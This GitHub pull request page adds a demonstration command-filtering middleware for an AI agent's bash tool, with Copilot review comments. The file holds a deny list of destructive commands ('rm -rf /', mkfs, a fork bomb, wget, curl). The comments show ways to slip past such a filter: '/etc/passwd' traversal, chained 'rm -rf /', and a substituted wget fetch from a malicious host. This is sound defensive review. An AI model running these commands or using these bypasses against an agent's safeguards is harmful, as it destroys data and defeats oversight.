Skip to content

feat(security): add v5_secure_agent with command middleware #31

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
Protocol-zero-0 wants to merge 1 commit into
base: main
Choose a base branch
from
Open

feat(security): add v5_secure_agent with command middleware #31

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
87 changes: 87 additions & 0 deletions agents/s05_secure_agent.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
import json
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Following the established convention, all agent session files in this codebase start with a shebang line (#!/usr/bin/env python3). This allows the files to be executed directly. Add the shebang line as the first line of the file.

Copilot uses AI. Check for mistakes.
import os
from datetime import datetime
from typing import Dict, Any, List, Optional

Comment on lines +1 to +5
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Following the established convention in this codebase, all session files include a comprehensive docstring header that explains the purpose, pattern, and provides an ASCII diagram. See s01_agent_loop.py, s02_tool_use.py, and s05_skill_loading.py for examples. This file should include a similar header explaining the security middleware pattern, its purpose in the learning path, and a diagram showing the validation flow.

Copilot uses AI. Check for mistakes.
Comment on lines +1 to +5
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The imports json, os, and datetime are unused in this file. Remove these unused imports to keep the code clean and avoid confusion about dependencies.

Suggested change
import json
import os
from datetime import datetime
from typing import Dict, Any, List, Optional

Copilot uses AI. Check for mistakes.
# --- Configuration & Safety ---
# Allowlist for safe commands (exact matches or safe prefixes)
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment on line 7 states "exact matches or safe prefixes" but the implementation on line 37 only checks exact matches of the base command (cmd_base not in SAFE_COMMANDS). There's no prefix matching logic. Either update the comment to accurately reflect the implementation, or implement prefix matching if that was the intended behavior.

Suggested change
# Allowlist for safe commands (exact matches or safe prefixes)
# Allowlist for safe commands (exact matches for base commands)

Copilot uses AI. Check for mistakes.
SAFE_COMMANDS = {
"ls", "cat", "echo", "mkdir", "touch", "grep", "find", "pwd", "whoami"
}
Comment on lines +8 to +10
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Commands like "cat", "mkdir", "touch", and "grep" accept file paths as arguments. The validation doesn't check for path traversal attacks (e.g., "cat ../../../../etc/passwd" or "mkdir /tmp/malicious"). While the existing s02_tool_use.py uses a safe_path() function to validate paths for file operations, this middleware doesn't implement similar protections for bash commands that accept file paths. Consider adding path validation or restricting file paths to a workspace directory as proposed in issue #25's "Read-Only Mode" feature.

Copilot uses AI. Check for mistakes.

# Denylist for dangerous patterns (even if command is allowed)
DENY_PATTERNS = [
"rm -rf /", "mkfs", "dd if=", ":(){:|:&};:", "wget", "curl", "chmod 777"
]
Comment on lines +13 to +15
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The DENY_PATTERNS list blocks "wget" and "curl" entirely, which may be overly restrictive for legitimate use cases. While these commands can be dangerous, they're also commonly used for downloading files from safe sources. Consider either removing these from the blanket denylist or implementing a more nuanced approach that validates URLs or requires additional confirmation for network operations, as suggested in issue #25's "Human-in-the-Loop" pattern.

Copilot uses AI. Check for mistakes.

class CommandMiddleware:
"""Intercepts and validates commands before execution."""

def __init__(self, unsafe_mode: bool = False):
self.unsafe_mode = unsafe_mode

def validate(self, command: str) -> bool:
"""Returns True if command is safe to execute."""
if self.unsafe_mode:
return True

cmd_base = command.split()[0]
Comment on lines +27 to +28
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The command parsing on line 28 will raise an IndexError if the command string is empty or contains only whitespace. An attacker could bypass validation by providing an empty command string, or the function could crash. Add a check for empty/whitespace-only commands before calling split().

Suggested change
cmd_base = command.split()[0]
stripped_command = command.strip()
if not stripped_command:
print("⚠️ BLOCKED: Empty or whitespace-only command.")
return False
cmd_base = stripped_command.split()[0]

Copilot uses AI. Check for mistakes.

# Check denylist first
for pattern in DENY_PATTERNS:
if pattern in command:
print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'")
return False
Comment on lines +30 to +34
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The denylist patterns can be easily bypassed with variations. For example, "rm -rf /" is blocked but "rm -rf/" (no space), "rm -r -f /", or "rm --recursive --force /" are not. Similarly, "dd if=" is blocked but "dd if =" or "dd of=/dev/sda" are not. Security denylists should be comprehensive and account for common variations, or better yet, use a more robust validation approach that doesn't rely solely on pattern matching.

Copilot uses AI. Check for mistakes.

# Check allowlist (simple heuristic)
if cmd_base not in SAFE_COMMANDS:
print(f"⚠️ BLOCKED: Command '{cmd_base}' not in allowlist. Use --unsafe to override.")
return False

return True
Comment on lines +37 to +41
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The allowlist validation only checks the base command (first word), but doesn't validate arguments. This allows dangerous commands like "ls; rm -rf /" or "cat file && rm -rf /" to pass validation since "ls" and "cat" are in SAFE_COMMANDS. Command chaining with semicolons, pipes, &&, ||, and other shell operators can bypass the security checks. Consider adding validation to detect and block command chaining operators, or switch to a more robust parsing approach that validates the entire command structure.

Copilot uses AI. Check for mistakes.
Comment on lines +23 to +41
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The validation doesn't check for command substitution attacks using backticks or $() syntax. An attacker could bypass the allowlist with commands like "echo rm -rf /" or "echo $(wget malicious.com/script.sh)". These would pass validation because "echo" is in SAFE_COMMANDS, but the substituted commands would execute without validation. Add checks to detect and block command substitution patterns.

Copilot uses AI. Check for mistakes.

# --- Tool Definitions ---
TOOLS = [
{
"name": "bash",
"description": "Execute a safe bash command (sandboxed)",
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The tool description says "Execute a safe bash command (sandboxed)" but there's no actual sandboxing implementation. The middleware only validates commands but doesn't provide process isolation, filesystem jails, network restrictions, or other sandboxing features. The description is misleading. Either implement actual sandboxing (e.g., using containers, chroot, or restricted execution environments) or update the description to accurately reflect that this is command validation/filtering, not sandboxing.

Suggested change
"description": "Execute a safe bash command (sandboxed)",
"description": "Execute a bash command with basic safety validation (no OS-level sandboxing)",

Copilot uses AI. Check for mistakes.
"input_schema": {
"type": "object",
"properties": {
"command": {"type": "string", "description": "The command to run"}
},
"required": ["command"]
}
}
]

# Initialize Middleware
middleware = CommandMiddleware(unsafe_mode=False)

# --- Mock Agent Loop (Simplified) ---
def run_agent(task: str):
print(f"🤖 Agent starting task: {task}")

# Mocking LLM Output for demonstration
# In a real scenario, this comes from the model
mock_plan = [
{"tool": "bash", "args": {"command": "ls -la"}},
{"tool": "bash", "args": {"command": "rm -rf /"}} # Malicious attempt
]

for step in mock_plan:
tool_name = step["tool"]
args = step["args"]

if tool_name == "bash":
cmd = args["command"]
print(f"\n> Attempting: {cmd}")

if middleware.validate(cmd):
print(f"✅ Executing: {cmd}")
# os.system(cmd) # Executing safe command
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The actual command execution is commented out on line 82, making this a demonstration-only implementation that doesn't actually execute validated commands. While this is appropriate for a learning example, it should be clearly documented in the file's header docstring that this is a demonstration/proof-of-concept rather than a production-ready implementation. Also note that if uncommented, os.system() is less secure than subprocess.run() used in other agent files (see s01_agent_loop.py:57), as it doesn't provide timeout protection or output capture.

Copilot uses AI. Check for mistakes.
else:
print("❌ Execution Blocked by Middleware")

if __name__ == "__main__":
run_agent("List files and try to destroy system")
Comment on lines +1 to +87
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The filename s05_secure_agent.py conflicts with the existing s05_skill_loading.py. According to the README.md learning path structure, s05 is designated for "Skills - Load on demand, not upfront". This new security module should be assigned to an unused session number. Based on the existing sessions (s01-s11), consider renaming to a session number that fits the progressive learning path, or use a different naming scheme if this is meant to be an alternative implementation rather than an additional session.

Copilot uses AI. Check for mistakes.
Comment on lines +1 to +87
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Issue #25 proposed three features: (1) Command Middleware, (2) Read-Only Mode to disable write/edit tools or restrict them to a workspace directory, and (3) Human-in-the-Loop pattern for escalating high-risk actions. This PR only implements the Command Middleware feature. The PR description states it "implements the security module proposed in #25" but doesn't mention that features 2 and 3 are not included. Consider updating the PR description to clarify that this is a partial implementation focusing on command validation, or implement the remaining features to fully address the proposal.

Copilot uses AI. Check for mistakes.
Loading